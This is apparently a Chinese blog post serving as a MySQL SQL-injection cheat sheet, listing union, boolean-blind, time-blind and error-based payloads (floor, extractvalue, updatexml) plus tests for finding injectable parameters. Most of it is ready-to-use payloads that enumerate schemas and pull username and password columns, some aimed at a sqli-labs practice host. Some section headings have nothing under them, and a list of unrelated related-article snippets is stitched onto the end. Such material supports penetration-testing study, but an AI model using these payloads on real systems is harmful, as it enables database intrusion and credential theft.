Mysql注入类型

  1. union 联合查询
  2. 布尔盲注
  3. 时间盲注
  4. 显错注入
  5. 堆叠注入
  6. 宽字节注入 (只存在PHP)

Mysql各类型注入语句

1.union 联合查询(sql查询语句),存在mysql的版本问题 下方是5.0之后版本的利用方式

5.0之后的版本存在 information_schema 表 :information_schema 是 一个虚拟数据库

information_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。

如数据库名或表名,列类型,访问权限等

   ?id=1 union select 1,2,3?id=1 union select 1,2,user()  -- 获取当前用户信息?id=1 union select 1,2,database()  --获取当前数据库信息?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取数据表的信息?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=16进制(database()) -- 获取数据表的信息?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=16进制(表名) --获取列名信息?id=1 union select username,password from 表名
注:上述查询语句结尾处可加上 --+ 用以屏蔽代码中多余的查询语句,where 条件语句后也可加上分页函数,防止数据过长无法显示:limit 0,2

2.布尔盲注(sql查询语句)

 1.判断数据库第一位http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),1)='s' %23 2.猜测数据库第二位http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),2) = 'se' %23 3.判断数据库名称长度是否为8位3.判断数据库名称长度是否为8位http://192.168.87.130/sqli-labs/Less-5/?id=1' and length(database())=8 %23 4.利用 substr() ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符,ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e,substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 5.猜解第一个表的第二位字符,使用 substr(**,2,1) ;109即email中的字母m http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 6.猜解第二个表上文中获取第一个表使用的 limit 0,1是从第0个开始,取第1个;那么获取第二个表使用 limit 1,1即可http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 %23 > 然后按照上述方法重复,就能够获取所有表的名字7.使用regexp获取 users表中的列用法介绍: select user() regexp '^[a-z]';Explain: 正则表达式的用法, user()结果为 root, regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp '^ro'来进行。http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+> 上述语句时选择 users 表中的列名是否有 us**的列http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+8.利用 ord() 和 mid() 函数获取 users 表的内容http://192.168.87.130/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+Explain: mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位Ord()函数同 ascii(), 将字符转为 ascii 值获取 users 表中的内容。 获取 username 中的第一行的第一个字符的 ascii, 与 68 进行比较,即为D> 重复上述步骤即可,以上对布尔盲注 SQL 的所有的payload进行了展示。

3.时间盲注(sql查询语句)

五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则

4.显错注入(sql查询语句)

第一种:通过mysql的floor函数报错
floor() 函数的作用:floor(1.121) 找出小于括号中 1.21的最大整数,结果是 1
rand() 函数的作用:获取随机的浮点数(小于0的小数),而 rand(0) 则是获取固定的小数值
floor(rand(0)2):将rand(0)中获取的固定小数的值2,在找出比当前值小的最大整数,由于 rand(0)=0.15522042769493574,而0.15…*2 为 0.31… 比0.31小的最大整数只有 0 那么 floor(rand(0)*2)的值则为 0

/*爆数据库版本*/
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*爆数据库当前连接用户*/
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*爆数据库的库名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*爆数据库的表名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴数据表中的字段名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴数据表中的字段内容*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

第二种:ExtractValue报错函数(有长度限制,最长32位) mysql 5.1及以上版本

/*爆数据库版本*/
and extractvalue(1, concat(0x7e, (select @@version),0x7e))/*暴数据表中的字段内容*/
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

第三种:UpdateXml报错函数(有长度限制,最长32位)

/*爆数据库版本*/
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)/*爆数据库名称*/
and updatexml(1,concat(0x7e,(select  database()),0x7e),1)/*爆数据库表名*/
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database()),0x7e),1)/*爆数据库列名*/
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.tables where
table_name=表名),0x7e),1)/*暴数据表中的字段内容*/
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

第四种:NAME_CONST(适用于低版本)

and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

第五种:Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*爆数据库版本*/
or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

5.堆叠注入(sql查询语句)

6.宽字节注入(sql查询语句)

Mysql判断存在注入方法

1.数字型参数判断是否存在注入

 首先判断注入参数类型:?id=2-0 若是返回当前页面 继续测试 ?id=2-1 看是否返回不一样的页面,若是不一样 说明该参数90%是数字型参数。判断是否存在注入:1. ?id=2 and 1=1 :页面是否返回相同?id=2 and 1=2 :页面是否返回异常,如果返回异常则初步判定存在sql注入使用单引号判断2. ?id=2' :若是页面返回异常,则初步判定此处存在sql注入使用异或判断:这里有一点需要注意,一般情况下 只有 "xor 0" 与 其他 "xor 数字"  页面展示不相同3. ?id=2 xor 0 与 ?id=2 xor 1 返回页面是否相同,如果不相同 则初步判定存在sql注入使用 true 、false 判断是否存在注入4. ?id=2 and true ;?id=2 and false : 若是 true 返回页面不变 而 flase 页面无返回数据 或者异常,则初  步判断存在sql注入

注意:有时候 order by 以后 写union联合查询时 不要删除and 1=1 这种判断,否则有可能不显示参数位

2.字符型参数判断是否存在注入

使用单引号或者双引号判断是否存在SQL注入:
1.?id=2" and “1”=“1或者 ?id=2’ and ’ 1’ =’ 1:页面返回正常
?id=2” and “1”="2或者 ?id=2’ and ’ 1’ =’ 2:页面返回异常,则初步判断此处存在sql注入

Mysql注入_基础相关推荐

  1. jsp mysql 注入_由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】...

    由Jsp+Mysql注入到root权限的全程展 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整. 很多人可能都知道asp,php的编程要防止 ...

  2. 搭建mysql注入_常见的sql注入环境搭建

    常见的sql注入环境搭建 By : Mirror王宇阳 Time:2020-01-06 PHP+MySQL摘要 $conn = new mysqli('数据库服务器','username','pass ...

  3. pdo连接mysql 注入_使用PDO查询mysql避免SQL注入

    使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严紧,就有SQL注入风险.虽然可以用mysql_real_escape_string()函数过滤用户提 ...

  4. laravel mysql注入_详解 Laravel 中的依赖注入和 IoC

    Laravel 作为开发者,我们一直在尝试通过使用设计模式和尝试新的健壮型框架来寻找新的方式来编写设计良好且健壮的代码.在本篇文章中,我们将通过 Laravel 的 IoC 组件探索依赖注入设计模式, ...

  5. 墨者学院mysql注入_【墨者学院】:SQL注入漏洞测试(delete注入)

    0x00.题目描述: 背景介绍 最近有人匿名给工程师留言说,感谢他的辛勤付出,把墨者学院建设的这么好,不料激发了工程师对留言板的一波操作,轻松查到了这个人的身份. 实训目标 1.熟练掌握留言板的工作原 ...

  6. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  7. mysql核心数据库_从MySQL基础进军MySQL核心架构 178集MySQL数据库核心基础视频教程 MySQL基础案例教程...

    从MySQL基础进军MySQL核心架构 178集MySQL数据库核心基础视频教程 MySQL基础案例教程 课程目录 (1) 01MySQL基础_课程引入.avi (2) 02MySQL基础_为什么学习 ...

  8. Oracle、Mysql数据库编程开发基本操作命令语法脚本_基础篇(入门级)

    Oracle.Mysql数据库开发基本操作命令语法脚本_基础篇(入门级) 文章目录 Oracle.Mysql数据库开发基本操作命令语法脚本_基础篇(入门级) 一.数据库中常用的字段类型 二.操作数据库 ...

  9. mysql内置变量_详解MySQL注入利用的变量

    MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用的变量. 当我们注射mysql库的输入点的时候,可以通过version()/user( ...

最新文章

  1. Highmaps网页图表教程之Highmaps第一个实例与图表构成
  2. tomcat进程意外退出的问题分析
  3. Boost:使用Qt加载图像,应用简单的框模糊滤镜
  4. Jupyterlab 安装配置手册
  5. CF590E-Birthday【AC自动机,最大独立集】
  6. Linux 命令 之查看程序占用内存
  7. Python格式化输出方法
  8. arrayfun用法
  9. python prettytable格式设置_Python prettytable模
  10. Struts标记库与JSTL标记库
  11. 体外诊断(IVD)行业系列四:快速崛起的独立医学实验室
  12. FPGA实现短时傅里叶变换
  13. 无源微波器件--耦合线定向耦合器
  14. Kingbase8开发版,启动提示FATAL: XX000: max_connections should be less than orequal than 10
  15. 《Spring实战》学习笔记-第五章:构建Spring web应用
  16. Windows Microsoft Store安装Ubuntu
  17. 计算机科学与技术毕业论文选题【精选】
  18. 代码详解:手把手教你建立自己的视频分类模型
  19. 当前主要的常用的PHP环境部署套件比较
  20. 指令系统 - CISC 和 RISC

热门文章

  1. 动图+独家思维导图!让你秒懂李宏毅2020深度学习(四)—— CNN(Convolutional Neural network)
  2. android 源代码
  3. 广州女大学生价值观调查:近六成愿嫁“富二代”
  4. Linux调试之(三)addr2line+vmlinux
  5. 山东大学软件学院项目实训-创新实训-SDUMeeting(三)
  6. 2023从容地活着:元旦白云山看猫
  7. linux的dbg怎样查看core,如意坊国际手机版 -官网
  8. [HAOI2018]苹果树 组合数学
  9. MATLAB:出现 “ 未定义函数或变量 ”
  10. UNCTF2020的奇妙之旅-----CryptoMisc部分wp